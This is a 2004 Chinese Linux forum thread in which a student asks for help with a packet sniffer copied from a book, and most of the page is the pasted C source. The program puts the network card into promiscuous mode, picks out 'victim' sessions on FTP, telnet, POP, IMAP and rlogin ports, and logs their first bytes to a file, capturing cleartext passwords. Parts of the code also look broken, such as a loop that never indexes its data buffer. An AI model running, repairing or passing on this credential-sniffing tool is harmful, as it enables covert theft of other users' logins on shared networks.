LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
查看: 867|回复: 4

(求助)请问这个程序运行错误怎么解决(急!!··)

[复制链接]
发表于 2004-4-21 09:39:31 | 显示全部楼层 |阅读模式
我从书上抄的一个sniff程序,编译没有错误,但是运行时提示如下:
cant get SOCK_PACKET socket: Operation not permitted
请问该怎么解决??
急·····
发表于 2004-4-21 14:28:34 | 显示全部楼层
run as root
 楼主| 发表于 2004-4-21 20:28:15 | 显示全部楼层
运行了,但是结果不对.
 楼主| 发表于 2004-4-21 20:36:32 | 显示全部楼层
请问高手的联系方式??急啊,周一就要检查拉!!
 楼主| 发表于 2004-4-21 20:53:52 | 显示全部楼层
程序如下:
#include<sys/types.h>
#include<sys/socket.h>
#include<sys/time.h>
#include<sys/ioctl.h>
#include<netinet/in.h>
#include<netdb.h>
#include<string.h>
#include<linux/if.h>
#include<signal.h>
#include<stdio.h>
#include<arpa/inet.h>
#include<linux/socket.h>
#include<linux/ip.h>
#include<linux/tcp.h>
#include<linux/if_ether.h>

int openintf(char*);
int read_tcp(int);
int filter(void);
int print_header(void);
int print_data(int,char*);
char *hostlookup(unsigned long int);
void clear_victim(void);
void cleanup(int);

struct etherpacket
{
struct ethhdr eth;
struct iphdr ip;
struct tcphdr tcp;
char buff[8192];
}ep;

struct
{
unsigned long  saddr;
unsigned long  daddr;
unsigned short sport;
unsigned short dport;
int      bytes_read;
char     active;
time_t   start_time;
}victim;

struct iphdr  *ip;
struct tcphdr *tcp;
int s;
FILE *fp;

#define CAPTLEN 512
#define TIMEOUT 30
#define TCPLOG"tcp.log"

int openintf(char*d)
{
int fd;
struct ifreq ifr;
int s;
fd=socket(AF_INET,SOCK_PACKET,htons(0x800));
if(fd<0)
{
  perror("cant get SOCK_PACKET socket");
  exit(0);
}
strcpy(ifr.ifr_name,d);
s=ioctl(fd,SIOCGIFFLAGS,&ifr);
if(s<0)
{
  close(fd);
  perror("cant get flags");
  exit(0);
}
ifr.ifr_flags|=IFF_PROMISC;
s=ioctl(fd,SIOCSIFFLAGS,&ifr);
if(s<0)perror("cant set promiscuous mode");
return fd;
}

int read_tcp(int s)
{
  int x;
  while(1)
  {
   x=read(s,(struct etherpacket*)&ep,sizeof(ep));
   if(x>1)
   {
    if(filter()==0)continue;
    x=x-54;
    if(x<1)continue;
    return x;
   }
  }
}

int filter(void)
{
  int p;
  p=0;
  if(ip->protocol!=6)return 0;
  if(victim.active!=0)
     if(victim.bytes_read>CAPTLEN)
     {
      fprintf(fp,"\n----[CAPLEN Exceeded]\n");
      clear_victim();
      return 0;
     }
   if(victim.active!=0)
      if(time(NULL)>(victim.start_time+TIMEOUT))
      {
       fprintf(fp,"\n----[Timed Out]\n");
       clear_victim();
       return 0;
      }
    if(ntohs(tcp->dest)==21)  p=1;
    if(ntohs(tcp->dest)==23)  p=1;
    if(ntohs(tcp->dest)==110) p=1;
    if(ntohs(tcp->dest)==109) p=1;
    if(ntohs(tcp->dest)==143) p=1;
    if(ntohs(tcp->dest)==513) p=1;
    if(ntohs(tcp->dest)==106) p=1;
    if(victim.active==0)
       if(p==1)
          if(tcp->syn==1)
          {
           victim.saddr=ip->saddr;
           victim.daddr=ip->daddr;
           victim.active=1;
           victim.sport=tcp->source;
           victim.dport=tcp->dest;
           victim.bytes_read=0;
           victim.start_time=time(NULL);
           print_header();
          }
     if(tcp->dest!=victim.dport)return 0;
     if(tcp->source!=victim.sport)return 0;
     if(ip->saddr!=victim.saddr)return 0;
     if(ip->daddr!=victim.daddr)return 0;
     if(tcp->rst==1)
     {
      victim.active=0;
      alarm(0);
      fprintf(fp,"\n----[RST]\n");
      clear_victim();
      return 0;
     }
     if(tcp->fin==1)
     {
      victim.active=0;
      alarm(0);
      fprintf(fp,"\n-----[FIN]\n");
      clear_victim();
      return 0;
     }
     return 1;
    }

   int print_header(void)
   {
    fprintf(fp,"/n");
    fprintf(fp,"%s=>",hostlookup(ip->saddr));
    fprintf(fp,"%s[%d]\n",hostlookup(ip->daddr),ntohs(tcp->dest));
   }
  
   int print_data(int datalen,char *data)
   {
    int i=0;
    int t=0;

    victim.bytes_read=victim.bytes_read+datalen;
    for(i=0;i!=datalen;i++)
    {
     if(data==13){fprintf(fp,"\n");t=0;}
     if(isprint(data)){fprintf(fp,"%c",data);t++;}
     if(t>75){t=0;fprintf(fp,"\n");}
    }
   }

  main(int argc,char**agrv)
  {
   s=openintf("eth0");
   ip=(struct iphdr*)(((unsigned long)&ep.ip)-2);
   tcp=(struct tcphdr*)(((unsigned long)&ep.tcp)-2);
   signal(SIGHUP,SIG_IGN);
   signal(SIGINT,cleanup);
   signal(SIGTERM,cleanup);
   signal(SIGKILL,cleanup);
   signal(SIGQUIT,cleanup);
   if(argc==2)fp=stdout;
   else fp=fopen(TCPLOG,"at");
   if(fp==NULL){fprintf(stderr,"cant open log\n");exit(0);}
   clear_victim();
   for(;;)
   {
    read_tcp(s);
    if(victim.active!=0)print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp),ep.buff-2);
    fflush(fp);
   }
  }

char *hostlookup(unsigned long int in)
{
  static char blah[1024];
  struct in_addr i;
  struct hostent *he;

  i.s_addr=in;
  he=gethostbyaddr((char*)&i,sizeof(struct in_addr),AF_INET);
  if(he==NULL)strcpy(blah,inet_ntoa(i));
  else strcpy(blah,he->h_name);
  return blah;
}

void clear_victim(void)
{
  victim.saddr=0;
  victim.daddr=0;
  victim.active=0;
  victim.sport=0;
  victim.dport=0;
  victim.bytes_read=0;
  victim.start_time=0;
}

void cleanup(int sig)
{
  fprintf(fp,"Exiting__\n");
  close(s);
  fclose(fp);
  exit(0);
}
运行结果老是显示:Exiting__
请问怎么解决。急!!···#
您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表